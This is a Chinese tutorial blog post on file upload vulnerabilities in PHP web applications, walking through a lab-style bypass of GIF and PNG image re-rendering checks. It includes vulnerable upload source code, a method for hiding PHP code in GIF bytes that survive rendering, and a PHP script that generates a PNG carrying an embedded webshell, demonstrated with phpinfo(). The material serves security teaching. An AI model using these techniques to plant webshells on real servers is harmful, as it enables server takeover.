文件上传漏洞

目录

1、原理

2、复现

[2.1 .gif文件上传](#2.1 .gif文件上传)

[2.2 png的上传](#2.2 png的上传)


1、原理

文件上传漏洞是web系统中常见的一种功能,通过文件上传能实现上传图片、视频,以及其他类型的文件,但是随着web中包含的功能越来越多,潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本,就会导致网站被其控制甚至会使其服务器沦陷,以至于引发恶意的网络安全事件。

文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。

2、复现

2.1 .gif文件上传

关于.gif 的源码

else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

源码分析:我们可以看到$fileext 和 $filetype 是来判断是否为.gif 格式

使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败。

由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片。

1)首先准备一个.gif 文件将web.php 中的 <?php phpinfo(); ?>融合,如图所示我们将a.gif 文件与web.php 合成了一个b.gif

用使用16进制编辑器将b.gif打开,我们可以看到 phpinfo();

2)上传b.gif 文件,上传之后我们再次下载上传后的图像地址,

我们再次使用16进制打开,可以看到被渲染的图片里面已经没有 phpinfo();

3)关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。

然后我们包含一下,可以看到已经成功。

2.2 png的上传

1)首先创建一个php文件,在同一级目录下放一个1.png的图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1111.png');
?>

然后运行此文件,的到1111.png

我们使用记事本打开此文件,有一句话木马

然后我们上传:

我们可以看到phpinfo(); 执行成功

相关推荐
paixiaoxin1 小时前
学术新手进阶:Zotero插件全解锁,打造你的高效研究体验
人工智能·经验分享·笔记·机器学习·学习方法·zotero
晚睡早起₍˄·͈༝·͈˄*₎◞ ̑̑2 小时前
苍穹外卖学习笔记(五)
java·笔记·学习
张望远-长风万里2 小时前
运维监控专项学习笔记-id:0-需求场景、监控作用、监控能力
运维·笔记·学习
世俗ˊ3 小时前
CSS入门笔记
前端·css·笔记
万河归海4283 小时前
C语言——二分法搜索数组中特定元素并返回下标
c语言·开发语言·数据结构·经验分享·笔记·算法·visualstudio
李小星同志5 小时前
高级算法设计与分析 学习笔记6 B树
笔记·学习
霜晨月c5 小时前
MFC 使用细节
笔记·学习·mfc
Jhxbdks5 小时前
C语言中的一些小知识(二)
c语言·开发语言·笔记
AlexMercer10126 小时前
【C++】二、数据类型 (同C)
c语言·开发语言·数据结构·c++·笔记·算法
微刻时光6 小时前
Redis集群知识及实战
数据库·redis·笔记·学习·程序人生·缓存